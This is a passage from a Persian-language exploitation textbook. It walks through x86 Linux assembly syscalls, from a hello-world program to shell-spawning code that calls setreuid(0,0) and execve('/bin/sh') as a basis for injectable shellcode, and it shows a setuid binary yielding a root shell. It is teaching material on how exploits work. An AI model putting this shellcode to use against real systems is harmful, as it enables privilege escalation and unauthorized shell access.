‫ﭘﺲ ﺑﺮای ﻧﻮﺷﺘﻦ ﻋﺒﺎرت "!‪ "Hello, world‬ﺑﺮ روی ﺗﺮﻣﯿﻨﺎل ﺑﺎﯾﺪ رﺷـﺘﻪ !‪ Hello, world‬در ﻣﮑـﺎﻧﯽ از ﺣﺎﻓﻈـﻪ ﻗـﺮار‬
‫ﮔﯿﺮد‪ .‬ﺟﻬﺖ ﭘﯿﺮوی درﺳﺖ از ﻗﻮاﻧﯿﻦ ﺗﻘﺴﯿﻢ ﺑﻨﺪی‪-‬ﺣﺎﻓﻈﻪ اﯾﻦ رﺷﺘﻪ را ﺑﺎﯾﺪ در ﻣﮑﺎﻧﯽ در ﺳﮕﻤﻨﺖ ﯾﺎ ﻗﻄﻌﻪ ی داده ﻗﺮار‬
‫دﻫﯿﻢ‪ .‬ﺳﭙﺲ دﺳﺘﻮرات ﻣﺨﺘﻠﻒ اﺳﻤﺒﻠﯽ را در ﻗﻄﻌﻪ ی ﮐﺪ )ﯾﺎ ﻫﻤـﺎن ‪ (text‬ﻗـﺮار ﺧـﻮاﻫﯿﻢ داد‪ .‬اﯾـﻦ دﺳـﺘﻮرات ﻣﻘـﺎدﯾﺮ‬
‫‪ ECX ،EBX ،EAX‬و ‪ EDX‬را ﺑﻪ ﻃﺮز ﻣﻮرد ﻧﻈﺮ و ﻣﻄﻠﻮب ﻣﺎ )در ﭘﺎراﮔﺮاف ﻗﺒﻠﯽ( ﺗﻨﻈـﯿﻢ ﻣـﯽ ﮐﻨﻨـﺪ و ﺳـﭙﺲ وﻗﻔـﻪ‬
‫ﻓﺮاﺧﻮاﻧﯽ ﺳﯿﺴﺘﻤﯽ را ﻓﺮاﺧﻮاﻧﯽ ﺧﻮاﻫﻨﺪ ﮐﺮد‪.‬‬
‫ﺑﻪ اﯾﻦ ﺻﻮرت ﺑﺎﯾﺪ ﻣﻘﺪار ‪ 4‬را در ﺛﺒﺎت ‪ EAX‬ﻗﺮار دﻫﯿﻢ‪ ،‬ﭼﺮا ﮐﻪ ﺗﺎﺑﻊ )(‪ write‬در ﻓﺎﯾﻞ ‪ unistd.h‬ﻓﺮاﺧﻮاﻧﯽ ﺳﯿﺴﺘﻤﯽ‬
‫ﺷﻤﺎره ﭼﻬﺎر اﺳﺖ‪ .‬ﺳﭙﺲ ﻣﻘﺪار ‪ 1‬در ﺛﺒﺎت ‪ EBX‬ﻗﺮار ﻣـﯽ ﮔﯿـﺮد‪ ،‬ﭼﻮﻧﮑـﻪ اوﻟـﯿﻦ آرﮔﻮﻣـﺎن ﺗـﺎﺑﻊ )(‪ write‬ﯾـﮏ ﻋـﺪد‬
‫ﺻﺤﯿﺢ ﻣﯽ ﺑﺎﺷﺪ ﮐﻪ ﻧﺸﺎن دﻫﻨﺪه ﺗﻮﺻﯿﻔﮕﺮ ﻓﺎﯾﻞ اﺳﺖ )ﮐﻪ در اﯾﻦ ﻣﻮرد ﻫﻤﺎن وﺳـﯿﻠﻪ ﺧﺮوﺟـﯽ اﺳـﺘﺎﻧﺪارد ﺑـﺎ ﺷـﻤﺎره ‪1‬‬
‫اﺳﺖ(‪ .‬ﺳﭙﺲ ﺑﺎﯾﺪ آدرس رﺷﺘﻪ ﻣﻮﺟﻮد در ﻗﻄﻌﻪ داده را در ﺛﺒﺎت ‪ ECX‬ﻗﺮار دﻫﯿﻢ‪ .‬ﺳﺮاﻧﺠﺎم ﺑﺎﯾﺪ ﻃﻮل اﯾﻦ رﺷـﺘﻪ )در‬
‫اﯾﻦ ﻣﻮرد‪ 13 ،‬ﺑﺎﯾﺖ( را در ﺛﺒﺎت ‪ EDX‬ﻗﺮار دﻫﯿﻢ‪ .‬ﭘﺲ از ﺑﺎرﮔﺬاری اﯾﻦ ﺛﺒﺎت ﻫﺎ‪ ،‬وﻗﻔﻪ ﻓﺮاﺧﻮاﻧﯽ ﺳﯿﺴﺘﻤﯽ ﻓﺮاﺧـﻮاﻧﯽ‬
‫ﻣﯽ ﺷﻮد و در ﻧﺘﯿﺠﻪ ﺗﺎﺑﻊ )(‪ write‬ﻓﺮاﺧﻮاﻧﯽ ﻣﯽ ﮔﺮدد‪.‬‬

‫‪75‬‬
‫ﺑﺮای ﺧﺮوج ﺻﺤﯿﺢ از ﺑﺮﻧﺎﻣﻪ ﻧﯿﺎز ﺑﻪ ﻓﺮاﺧﻮاﻧﯽ ﺗﺎﺑﻊ )(‪ exit‬دارﯾﻢ‪ .‬اﯾﻦ ﺗﺎﺑﻊ ﯾﮏ آرﮔﻮﻣﺎن واﺣﺪ را ﺑﺮاﺑﺮ ﺑﺎ ‪) 0‬ﺻﻔﺮ( ﻣـﯽ‬
‫ﭘﺬﯾﺮد‪ .‬ﭘﺲ ﭼﻮن ﺗﺎﺑﻊ )(‪ ،exit‬ﻓﺮاﺧﻮاﻧﯽ ﺳﯿﺴﺘﻤﯽ ﺷﻤﺎره ﯾﮏ اﺳﺖ‪ ،‬ﻟﺬا ﺑﺎﯾﺪ ﻣﻘﺪار ‪ 1‬را در ﺛﺒـﺎت ‪ EAX‬ﻗـﺮار دﻫـﯿﻢ و‬
‫ﭼﻮن ﺗﻨﻬﺎ آرﮔﻮﻣﺎن اﯾﻦ ﺗﺎﺑﻊ ﺑﺎﯾﺪ ﺑﺮاﺑﺮ ﺑﺎ ﺻﻔﺮ ﺑﺎﺷﺪ‪ ،‬ﻟﺬا ﻣﻘﺪار ‪ 0‬را ﻧﯿﺰ در ﺛﺒﺎت ‪ EBX‬ﻗﺮار ﺧﻮاﻫﯿﻢ داد‪ .‬ﺳـﭙﺲ وﻗﻔـﻪ‬
‫ﻓﺮاﺧﻮاﻧﯽ ﺳﯿﺴﺘﻤﯽ را ﯾﮏ ﺑﺎر دﯾﮕﺮ ﻓﺮاﺧﻮاﻧﯽ ﺧﻮاﻫﯿﻢ ﻧﻤﻮد‪ .‬ﮐﺪ اﺳﻤﺒﻠﯽ ﻣﺮﺑﻮط ﺑﻪ ﺗﻤﺎم اَﻋﻤﺎل ﻓﻮق را در زﯾﺮ ﻣﯽ ﺑﯿﻨﯿﺪ‪:‬‬
‫‪hello.asm‬‬
‫‪section .data‬‬ ‫‪; section declaration‬‬

‫‪msg‬‬ ‫‪db‬‬ ‫"!‪"Hello, world‬‬ ‫‪; the string‬‬

‫‪section .text‬‬ ‫‪; section declaration‬‬

‫‪global _start‬‬ ‫‪; Default entry point for ELF linking‬‬

‫‪_start:‬‬

‫‪; write() call‬‬

‫‪mov‬‬ ‫‪eax,‬‬ ‫‪4‬‬ ‫;‬ ‫‪put 4 into eax, since write is syscall #4‬‬
‫‪mov‬‬ ‫‪ebx,‬‬ ‫‪1‬‬ ‫;‬ ‫‪put stdout into ebx, since the proper fd is 1‬‬
‫‪mov‬‬ ‫‪ecx,‬‬ ‫‪msg‬‬ ‫;‬ ‫‪put the address of the string into ecx‬‬
‫‪mov‬‬ ‫‪edx,‬‬ ‫‪13‬‬ ‫;‬ ‫‪put 13 into edx, since our string is 13 bytes‬‬
‫‪int‬‬ ‫‪0x80‬‬ ‫;‬ ‫‪Call the kernel to make the system call happen‬‬

‫‪; exit() call‬‬

‫‪mov eax,1‬‬ ‫‪; put 1 into eax, since exit is syscall #1‬‬
‫‪mov ebx,0‬‬ ‫‪; put 0 into ebx‬‬
‫‪int 0x80‬‬ ‫‪; Call the kernel to make the system call happen‬‬
‫ﺑﺮای ﺗﻮﻟﯿﺪ ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﺑﺎﯾﻨﺮی ﻗﺎﺑﻞ اﺟﺮا ﻣﯽ ﺗﻮان اﯾﻦ ﮐـﺪ را اﺳـﻤﺒﻞ )‪ (assemble‬ﮐـﺮده و ﺳـﭙﺲ ﭘﯿﻮﻧـﺪ )‪ (link‬داد‪.‬‬
‫ﺑﺮای ﻟﯿﻨﮏ ﺷﺪن ﺻﺤﯿﺢ ﺑﺮﻧﺎﻣﻪ ﺑﺎﯾﻨﺮی ﺑﻪ ﺻﻮرت ﻗﺎﻟﺐ ﻗﺎﺑﻞ اﺟﺮا و ﻣﺘﺼﻞ )‪ ،36(ELF‬ﺧﻂ ‪ global _start‬در ﮐﺪ ﻓـﻮق‬
‫ﻧﯿﺎز ﺑﻮد‪ .‬ﭘﺲ از اﺳﻤﺒﻞ ﺷﺪن ﻓﺎﯾﻞ ﺑﻪ ﺻﻮرت ﯾﮏ ﺑﺎﯾﻨﺮیِ ‪ ،ELF‬ﺑﺎﯾﺪ آﻧﺮا ﻟﯿﻨﮏ ﮐﺮد‪:‬‬
‫‪$ nasm -f elf hello.asm‬‬
‫‪$ ld hello.o‬‬
‫‪$ ./a.out‬‬
‫!‪Hello, world‬‬
‫ﻫﻤﺎن ﻃﻮر ﮐﻪ ﻣﯽ ﺑﯿﻨﯿﺪ ﺑﺮﻧﺎﻣﻪ ﮐﺎر ﻣﯽ ﮐﻨﺪ‪ .‬اﻣﺎ ﭼﻮن اﯾﻦ ﺑﺮﻧﺎﻣﻪ آﻧﻘﺪر ﺟﺬاب و ﻣﻬﻢ ﻧﯿﺴﺖ ﺗﺎ آﻧﺮا ﺑﻪ ﺑﺎﯾـﺖ‪-‬ﮐـﺪ ﺗﺒـﺪﯾﻞ‬
‫ﮐﻨﯿﻢ‪ ،‬ﻟﺬا ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﻣﻔﯿﺪﺗﺮ ﻣﯽ ﻧﻮﯾﺴﯿﻢ‪.‬‬

‫‪ .2,10,4‬ﮐﺪ ﻣﻮﻟﺪ ﭘﻮﺳﺘﻪ‬

‫ﮐﺪ ﻣﻮﻟﺪ ﭘﻮﺳﺘﻪ )‪ (Shell-Spawning‬ﮐﺪ ﺳﺎده ای اﺳﺖ ﮐﻪ ﯾﮏ ﭘﻮﺳﺘﻪ را اﺟﺮا ﻣﯽ ﮐﻨﺪ‪ .‬اﯾﻦ ﮐﺪ را ﻣﯽ ﺗـﻮان ﺑـﻪ ﺷـﻞ‪-‬‬
‫ﮐﺪ ﺗﺒﺪﯾﻞ ﮐﺮد‪ .‬دو ﺗﺎﺑﻊ ﻣﻮرد ﻧﯿﺎز در اﯾﻦ راﺳﺘﺎ )(‪ execve‬و )(‪ setreuid‬ﻫﺴﺘﻨﺪ ﮐﻪ ﺑﻪ ﺗﺮﺗﯿﺐ ﻓﺮاﺧﻮاﻧﯽ ﻫﺎی ﺳﯿﺴﺘﻤﯽ‬
‫ﺷــﻤﺎره ‪ 11‬و ‪ 70‬ﻫــﺴﺘﻨﺪ‪ .‬ﻓﺮاﺧــﻮاﻧﯽ )(‪ execve‬در ﺣﻘﯿﻘــﺖ ﺑــﺮای اﺟــﺮای ‪ /bin/sh‬اﺳــﺘﻔﺎده ﻣــﯽ ﺷــﻮد‪ .‬ﻓﺮاﺧــﻮاﻧﯽ‬
‫)(‪ setreuid‬ﻧﯿﺰ ﺑﺮای ﺑﺎزﯾﺎﺑﯽ ﺳﻄﺢ اﺧﺘﯿﺎرات رﯾﺸﻪ )در ﺻﻮرت ﺣﺬف و ﮔﺮﻓﺘﻪ ﺷﺪن )‪ (drop‬اﯾﻦ اﺧﺘﯿﺎرات( ﺑﻪ ﮐﺎر ﻣﯽ‬
‫رود‪ .‬ﺑﺴﯿﺎری از ﺑﺮﻧﺎﻣﻪ ﻫﺎی ‪ suid root‬ﺑﻪ دﻟﯿﻞ ﻣﻘﺎﺻﺪ اﻣﻨﯿﺘﯽ ﺑﺎﻻﻓﺎﺻﻠﻪ ﭘﺲ از اﻧﺠﺎم ﻋﻤـﻞ ﻣـﻮرد ﻧﯿـﺎز ﺧـﻮد در ﻣﺤـﯿﻂ‬
‫رﯾﺸﻪ‪ ،‬ﺳﻄﺢ اﺧﺘﯿﺎرات رﯾﺸﻪ را ﺣﺬف ﻣﯽ ﮐﻨﻨﺪ‪ .‬اﻣﺎ اﮔﺮ اﯾﻦ ﺳﻄﺢ اﺧﺘﯿﺎرات ﺑﻪ درﺳﺘﯽ در ﺷﻞ‪-‬ﮐﺪ ﺑﺎزﯾـﺎﺑﯽ ﻧـﺸﻮد‪ ،‬ﺗﻨﻬـﺎ‬
‫ﭼﯿﺰی ﮐﻪ ﺗﻮﻟﯿﺪ ﻣﯽ ﺷﻮد ﯾﮏ ﭘﻮﺳﺘﻪ ﮐﺎرﺑﺮ ﻣﻌﻤﻮﻟﯽ اﺳﺖ‪.‬‬

‫‪36‬‬
‫‪Executable and Linking Format‬‬
‫‪76‬‬
‫ )ﯾﻌﻨﯽ ﭘﻮﺳﺘﻪ( را اﺟﺮا ﺧﻮاﻫـﺪ‬37‫ﮐﺪ ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﺗﻌﺎﻣﻠﯽ‬-‫ ﭼﺮا ﮐﻪ ﺷﻞ‬،‫ﮐﺪ ﻧﯿﺴﺖ‬-‫ در ﺷﻞ‬exit() ‫ﻧﯿﺎزی ﺑﻪ ﻓﺮاﺧﻮاﻧﯽ ﺗﺎﺑﻊ‬
‫ﮐـﺪ‬-‫ در ﺷـﻞ‬exit() ‫ ﺑﺎ اﯾﻦ ﺣـﺎل وﺟـﻮد ﺗـﺎﺑﻊ‬.(‫ﮐﺮد )ﻟﺬا ﺧﻮدﻣﺎن ﻣﯽ ﺗﻮاﻧﯿﻢ ﭘﺲ از اﺗﻤﺎم ﮐﺎرﻣﺎن از ﭘﻮﺳﺘﻪ ﺧﺎرج ﺷﻮﯾﻢ‬
‫ ﻟـﺬا در اﯾـﻦ ﻣﺜـﺎل از‬،‫ﮐﺪ ﮐﻮﭼﮏ ﻧﮕﺎه داﺷﺘﻦ آن اﺳﺖ‬-‫ اﻣﺎ ﭼﻮن ﻫﺪف ﻣﻬﻢ در ﻧﻮﺷﺘﻦ ﺷﻞ‬.‫ﻣﺸﮑﻠﯽ اﯾﺠﺎد ﻧﺨﻮاﻫﺪ ﮐﺮد‬
.‫ ﺻﺮف ﻧﻈﺮ ﻣﯽ ﮐﻨﯿﻢ‬exit() ‫وﺟﻮد ﺗﺎﺑﻊ‬
shell.asm
section .data ; section declaration

filepath db "/bin/shXAAAABBBB" ; the string

section .text ; section declaration

global _start ; Default entry point for ELF linking

_start:

; setreuid(uid_t ruid, uid_t euid)

mov eax, 70 ; put 70 into eax, since setreuid is syscall #70


mov ebx, 0 ; put 0 into ebx, to set real uid to root
mov ecx, 0 ; put 0 into ecx, to set effective uid to root
int 0x80 ; Call the kernel to make the system call happen

; execve(const char *filename, char *const argv [], char *const envp[])

mov eax, 0 ; put 0 into eax


mov ebx, filepath ; put the address of the string into ebx
mov [ebx+7], al ; put the 0 from eax where the X is in the string
; ( 7 bytes offset from the beginning)
mov [ebx+8], ebx ; put the address of the string from ebx where the
; AAAA is in the string ( 8 bytes offset)
mov [ebx+12], eax ; put the a NULL address (4 bytes of 0) where the
; BBBB is in the string ( 12 bytes offset)
mov eax, 11 ; Now put 11 into eax, since execve is syscall #11
lea ecx, [ebx+8] ; Load the address of where the AAAA was in the
; string into ecx
lea edx, [ebx+12] ; Load the address of where the BBBB is in the
; string into edx
int 0x80 ; Call the kernel to make the system call happen
،‫ اوﻟﯿﻦ ﻣﺠﻤﻮﻋﻪ دﺳﺘﻮری ﮐﻪ ﻣﻤﮑﻦ اﺳـﺖ ﺑـﺮای ﻣـﺎ ﺗـﺎزﮔﯽ داﺷـﺘﻪ ﺑﺎﺷـﻨﺪ‬.‫اﯾﻦ ﮐﺪ اﻧﺪﮐﯽ ﭘﯿﭽﯿﺪه ﺗﺮ از ﻣﺜﺎل ﻗﺒﻠﯽ اﺳﺖ‬
:‫دﺳﺘﻮرات زﯾﺮ ﻫﺴﺘﻨﺪ‬
mov [ebx+7], al ; put the 0 from eax where the X is in the string
; ( 7 bytes offset from the beginning)
mov [ebx+8], ebx ; put the address of the string from ebx where the
; AAAA is in the string ( 8 bytes offset)
mov [ebx+12], eax ; put the a NULL address (4 bytes of 0) where the
; BBBB is in the string ( 12 bytes offset)
‫ ﺑﺎﯾـﺖ‬7 ‫ ﺑﻌـﻼوه‬EBX ‫[ ﺑﻪ ﮐﺎﻣﭙﯿﻮﺗﺮ دﺳﺘﻮر ﻣﯽ دﻫﺪ ﮐﻪ ﻣﻘـﺪار ﻣﻨﺒـﻊ را در آدرس ﻣﻮﺟـﻮد در ﻣﺘﻐﯿـﺮ‬ebx+7] ‫ﻋﺒﺎرت‬
‫ ﺑـﻪ‬،EAX (‫ ﺑﯿﺘﯽ‬32) ‫ ﺑﺎﯾﺘﯽ‬4 ‫ ﺑﻪ ﺟﺎی ﺛﺒﺎت‬AL (‫ ﺑﯿﺘﯽ‬8) ‫ ﺑﺎﯾﺘﯽ‬1 ‫ اﺳﺘﻔﺎده از ﺛﺒﺎت‬.‫ ﻗﺮار دﻫﺪ‬،38(‫ﻓﺎﺻﻠﻪ از آن )آﻓﺴﺖ‬
.‫ ﻓﻘﻂ اوﻟﯿﻦ ﺑﺎﯾﺖ از آﻧﺮا ﻣﻨﺘﻘﻞ ﮐﻨﺪ‬،EAX ‫ ﺑﺎﯾﺖ ﻣﻮﺟﻮد در ﺛﺒﺎت‬4 ِ‫اﺳﻤﺒﻠﺮ دﺳﺘﻮر ﻣﯽ دﻫﺪ ﮐﻪ ﺑﻪ ﺟﺎی اﻧﺘﻘﺎل ﺗﻤﺎﻣﯽ‬
‫ ﻟﺬا اﯾﻦ دﺳﺘﻮر ﯾـﮏ ﺑﺎﯾـﺖ واﺣـﺪ از‬،‫" اﺳﺖ‬/bin/shXAAAABBBB" ‫ از ﻗﺒﻞ ﺣﺎوی آدرس رﺷﺘﻪ‬EBX ‫ﭼﻮن ﺛﺒﺎت‬
‫ اﯾـﻦ ﻣﻮﺿـﻮع را در زﯾـﺮ‬.‫ در رﺷﺘﻪ ﻗـﺮار ﻣـﯽ دﻫـﺪ‬،X ‫ درﺳﺖ ﺑﻪ ﺟﺎی ﮐﺎراﮐﺘﺮ‬،‫ را در ﺟﺎﯾﮕﺎه )ﺑﺎﯾﺖ( ﻫﻔﺘﻢ‬EAX ‫ﺛﺒﺎت‬
:‫ﻣﻼﺣﻈﻪ ﻣﯽ ﻓﺮﻣﺎﺋﯿﺪ‬

37
Interactive
.‫(" ﻧﯿﺰ اﻃﻼق ﻣﯽ ﺷﻮد‬offset) ‫ واژه "آﻓﺴﺖ‬،"‫ اﺻﻄﻼﺣﺎ ﺑﻪ ﻋﺒﺎرت "ﻓﺎﺻﻠﻪ داﺷﺘﻦ‬38
77
‫‪0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15‬‬
‫‪/ b i n / s h X A A A A B B B B‬‬
‫دو دﺳﺘﻮر ﺑﻌﺪی ﺑﻪ ﻃﺮﯾﻖ ﻣﺸﺎﺑﻪ ﻋﻤﻞ ﻣﯽ ﻧﻤﺎﯾﻨﺪ‪ ،‬ﺑﺎ اﯾﻦ ﺗﻔﺎوت ﮐﻪ از ﺛﺒﺎت ﻫﺎ و آﻓﺴﺖ ﻫﺎی ﮐﺎﻣﻞِ ‪ 32‬ﺑﯿﺘﯽ اﺳﺘﻔﺎده ﻣﯽ‬
‫ﮐﻨﻨﺪ ﮐﻪ ﺳﺒﺐ اﻧﺘﻘﺎل ﺑﺎﯾﺖ ﻫﺎ ﻣﯽ ﺷﻮﻧﺪ‪ .‬اﯾﻦ ﻣﺴﺌﻠﻪ ﺑﻪ ﺗﺮﺗﯿـﺐ ﺳـﺒﺐ ﺟﺎﯾﻨﻮﯾـﺴﯽ "‪ "AAAA‬و "‪ "BBBB‬ﻣـﯽ ﮔـﺮدد‪.‬‬
‫ﭼﻮن ﺛﺒﺎت ‪ EBX‬ﺣﺎوی آدرس رﺷﺘﻪ اﺳﺖ و ﺛﺒﺎت ‪ EAX‬دارای ﻣﻘﺪار ‪ 0‬ﻣﯽ ﺑﺎﺷﺪ‪ ،‬ﻟﺬا ﻗﺴﻤﺖ "‪ "AAAA‬در رﺷﺘﻪ ﺑﺎ‬
‫آدرس اﺑﺘﺪای رﺷﺘﻪ‪ ،‬و ﻗﺴﻤﺖ "‪ "BBBB‬ﺑﺎ ﻣﻘﺎدﯾﺮ ﺻﻔﺮ )ﮐﻪ ﯾﮏ آدرس ﭘﻮچ اﺳﺖ( ﺟﺎﯾﻨﻮﯾﺴﯽ ﺧﻮاﻫﻨﺪ ﺷﺪ‪.‬‬
‫دو دﺳﺘﻮر ﺑﻌﺪی ﮐﻪ ﺑﺮای ﻣﺎ ﺗﺎزﮔﯽ دارﻧﺪ از ﻗﺮار زﯾﺮ ﻫﺴﺘﻨﺪ‪:‬‬
‫]‪lea ecx, [ebx+8‬‬ ‫;‬ ‫‪Load the address of where the AAAA was in the‬‬
‫;‬ ‫‪string into ecx‬‬
‫; ]‪lea edx, [ebx+12‬‬ ‫‪Load the address of where the BBBB is in the‬‬
‫;‬ ‫‪string into edx‬‬
‫اﯾﻨﻬﺎ دﺳﺘﻮرات ﺑﺎرﮔﺬاری آدرس ﻣﻮﺛﺮ )‪ (LEA‬ﻫﺴﺘﻨﺪ ﮐﻪ آدرس ﻣﻮﺛﺮ )و ﻧـﻪ آدرس آﻓـﺴﺖ( ﻣﺮﺑـﻮط ﺑـﻪ ﻣﻨﺒـﻊ را در‬
‫ﻣﻘﺼﺪ ﮐﭙﯽ ﻣـﯽ ﮐﻨﻨـﺪ‪ .‬در اﯾـﻦ ﻣـﻮرد آﻧﻬـﺎ آدرس ﻗـﺴﻤﺖ "‪ "AAAA‬در رﺷـﺘﻪ را در ﺛﺒـﺎت ‪ ECX‬و آدرس ﻗـﺴﻤﺖ‬
‫"‪ "BBBB‬در رﺷﺘﻪ را در ﺛﺒﺎت ‪ EDX‬ﮐﭙﯽ ﻣﯽ ﮐﻨﻨﺪ‪ .‬ﭼـﻮن دو آرﮔﻮﻣـﺎن آﺧـﺮ در ﺗـﺎﺑﻊ )(‪ execve‬ﺑﺎﯾـﺪ اﺷـﺎرﮔﺮ ﺑـﻪ‬
‫اﺷﺎرﮔﺮ ﺑﺎﺷﻨﺪ‪ ،‬ﻟﺬا ﺑﻪ اﯾﻦ ﻣﺴﺌﻠﻪ ﻧﯿﺎز ﺑﻮد‪ .‬ﯾﻌﻨﯽ آرﮔﻮﻣﺎن ﺑﺎﯾﺪ آدرﺳﯽ ﺑﺎﺷﺪ ﮐﻪ ﺑﻪ آدرس دﯾﮕـﺮ )ﮐـﻪ ﺣـﺎوی ﺗﮑـﻪ داده‬
‫ﻧﻬﺎﯾﯽ اﺳﺖ( اﺷﺎره ﮐﻨﺪ‪ .‬در اﯾﻦ ﻣﻮرد‪ ،‬ﺛﺒﺎت ‪ ECX‬اﮐﻨﻮن ﺣﺎوی آدرﺳﯽ اﺳـﺖ ﮐـﻪ ﺑـﻪ ﯾـﮏ آدرس دﯾﮕـﺮ )ﻣﺤﻠـﯽ ﮐـﻪ‬
‫ﻗﺴﻤﺖ "‪ "AAAA‬در رﺷﺘﻪ ﺑﻮد( اﺷﺎره ﻣﯽ ﮐﻨﺪ ﮐﻪ ﻫﻤﺎن اﺑﺘﺪای رﺷﺘﻪ اﺳﺖ‪ .‬ﺑﻪ ﻃﻮر ﻣﺸﺎﺑﻪ ﺛﺒﺎت ‪ EDX‬ﺣﺎوی آدرﺳﯽ‬
‫اﺳﺖ ﮐﻪ ﺑﻪ ﯾﮏ آدرس ﭘﻮچ )ﺟﺎﯾﯽ ﮐﻪ ﻗﺴﻤﺖ "‪ "BBBB‬در رﺷﺘﻪ ﻗﺮار داﺷﺖ( اﺷﺎره ﻣﯽ ﮐﻨﺪ‪.‬‬
‫اﮐﻨﻮن ﺑﺮای ﺑﺮرﺳﯽ ﮐﺎرﮐﺮد اﯾﻦ ﺑﺮﻧﺎﻣﻪ‪ ،‬ﮐﺪ را اﺳﻤﺒﻞ ﮐﺮده و ﺳﭙﺲ ﭘﯿﻮﻧﺪ ﻣﯽ دﻫﯿﻢ‪.‬‬
‫‪$ nasm -f elf shell.asm‬‬
‫‪$ ld shell.o‬‬
‫‪$ ./a.out‬‬
‫‪sh-2.05a$ exit‬‬
‫‪exit‬‬
‫‪$ sudo chown root a.out‬‬
‫‪$ sudo chmod +s a.out‬‬
‫‪$ ./a.out‬‬
‫‪sh-2.05a#‬‬
‫ﻫﻤﺎن ﻃﻮر ﮐﻪ ﻣﯽ ﺑﯿﻨﯿﺪ ﺑﺮﻧﺎﻣﻪ ﭘﻮﺳﺘﻪ ای ﮐﻪ ﻣﯽ ﺑﺎﯾﺴﺖ را ﺗﻮﻟﯿﺪ ﮐﺮد‪ .‬اﮐﻨﻮن اﮔﺮ ﻣﺎﻟﮏ ﺑﺮﻧﺎﻣﻪ ﺑﻪ ﮐﺎرﺑﺮ رﯾﺸﻪ ﺗﻐﯿﯿﺮ ﯾﺎﺑﺪ‬
‫و ﻣﺠﻮز ‪ suid‬ﻧﯿﺰ روی آن ﺗﻨﻈﯿﻢ ﮔﺮدد‪ ،‬اﯾﻦ ﺑﺮﻧﺎﻣﻪ ﯾﮏ ﭘﻮﺳﺘﻪ رﯾﺸﻪ را ﺗﻮﻟﯿﺪ ﺧﻮاﻫﺪ ﮐﺮد‪.‬‬

‫‪ .2,10,5‬اﺟﺘﻨﺎب از اﺳﺘﻔﺎده از دﯾﮕﺮ ﻗﻄﻌﻪ ﻫﺎ )‪(segment‬‬

‫اﯾﻦ ﺑﺮﻧﺎﻣﻪ ﯾﮏ ﭘﻮﺳﺘﻪ را ﺗﻮﻟﯿﺪ ﮐﺮد‪ ،‬اﻣﺎ ﻫﻨﻮز راه زﯾﺎدی ﻣﺎﻧﺪه ﺗﺎ ﺗﺒﺪﯾﻞ ﺑﻪ ﺷﻞ‪-‬ﮐﺪ ﻣﻨﺎﺳﺐ ﻣﺎ ﺷﻮد‪ .‬ﺑﺰرﮔﺘـﺮﯾﻦ ﻣـﺸﮑﻞ‬
‫ذﺧﯿﺮه ﺷﺪن رﺷﺘﻪ در ﻗﻄﻌﻪ داده اﺳﺖ‪ .‬اﮔﺮ ﻫﺪﻓﻤﺎن ﻧﻮﺷﺘﻦ ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﻣﺴﺘﻘﻞ )‪ (standalone‬ﺑﺎﺷﺪ اﯾﻦ ﻣﺴﺌﻠﻪ ﺧـﻮب‬
‫ﺑﻮد‪ ،‬اﻣﺎ ﺷﻞ‪-‬ﮐﺪ ﯾﮏ ﺑﺮﻧﺎﻣﻪ اﺟﺮاﯾﯽ ﻣﺴﺘﻘﻞ و ﮐﺎﻣﻞ ﻧﯿﺴﺖ )ﺷﻞ‪-‬ﮐﺪ ﺗﮑﻪ ﮐﺪی اﺳﺖ ﮐـﻪ ﺑﺎﯾـﺪ ﺑـﻪ ﺑﺮﻧﺎﻣـﻪ در ﺣـﺎل اﺟـﺮا‬
‫ﺗﺰرﯾﻖ ﺷﻮد ﺗﺎ ﺑﺪرﺳﺘﯽ اﺟﺮا ﮔﺮدد(‪ ،‬ﻟﺬا اﯾﻦ ﻣﺴﺌﻠﻪ ﺑﺮای ﻣﺎ اﯾﺠﺎد ﻣﺸﮑﻞ ﻣﯽ ﮐﻨﺪ‪ .‬ﺑﻪ اﯾﻦ ﺻﻮرت رﺷﺘﻪ ﻣﻮﺟﻮد در ﻗﻄﻌﻪ‬
‫داده ﺑﺎﯾﺪ ﺑﻪ ﻃﺮﯾﻘﯽ در ﮐﻨﺎر دﯾﮕﺮ دﺳﺘﻮرات اﺳﻤﺒﻠﯽ ﻗﺮار ﮔﺮﻓﺘﻪ و راﻫﯽ ﺑﺮای ﯾـﺎﻓﺘﻦ آدرس آن ﻧﯿـﺰ ﺑﺎﯾـﺪ ﭘﯿـﺪا ﮐـﺮد‪.‬‬
‫ﻣﺸﮑﻞ دﯾﮕﺮ اﯾﻦ اﺳﺖ ﮐﻪ ﭼﻮن آدرس دﻗﯿﻖ ﺷﻞ‪-‬ﮐﺪ در ﺣﺎل اﺟـﺮا را ﻧـﺪارﯾﻢ‪ ،‬ﻟـﺬا ﺑﺎﯾـﺪ آدرس ﻧـﺴﺒﯽ آﻧـﺮا ﺑـﻪ ‪EIP‬‬
‫ﺑﺪﺳﺖ آورﯾﻢ‪ .‬ﺧﻮﺷﺒﺨﺘﺎﻧﻪ دﺳﺘﻮرات ‪ jmp‬و ‪ call‬ﻣﯽ ﺗﻮاﻧﻨﺪ آدرس دﻫﯽ را ﻧﺴﺒﺖ ﺑﻪ ‪ EIP‬اﻧﺠﺎم دﻫﻨـﺪ )آدرس دﻫـﯽ‬
‫ﻧﺴﺒﯽ ﺑﻪ ‪ .(EIP‬ﻣﯽ ﺗﻮان ﻫﺮ دو دﺳﺘﻮر را ﺑﺮای ﮔﺮﻓﺘﻦ آدرس رﺷﺘﻪ )ﮐﻪ در ﻫﻤﺎن ﻓﻀﺎی ﺣﺎﻓﻈﻪ اﺳﺖ ﮐﻪ دﺳﺘﻮرات در‬
‫ﺣﺎل اﺟﺮا ﻫﺴﺘﻨﺪ( ﻧﺴﺒﺖ ﺑﻪ ‪ EIP‬ﺑﮑﺎر ﮔﺮﻓﺖ‪.‬‬
‫دﺳﺘﻮر ‪ call‬ﻧﯿﺰ ﻫﻤﺎﻧﻨﺪ دﺳﺘﻮر ‪ jmp‬ﻣﻘﺪار ‪ EIP‬را ﺑﻪ ﯾﮏ ﻣﮑﺎن ﻣﺸﺨﺺ از ﺣﺎﻓﻈﻪ ﺗﻐﯿﯿﺮ ﻣﯽ دﻫﺪ‪ ،‬اﻣﺎ ﺑﺎ اﯾﻦ ﺗﻔﺎوت ﮐـﻪ‬
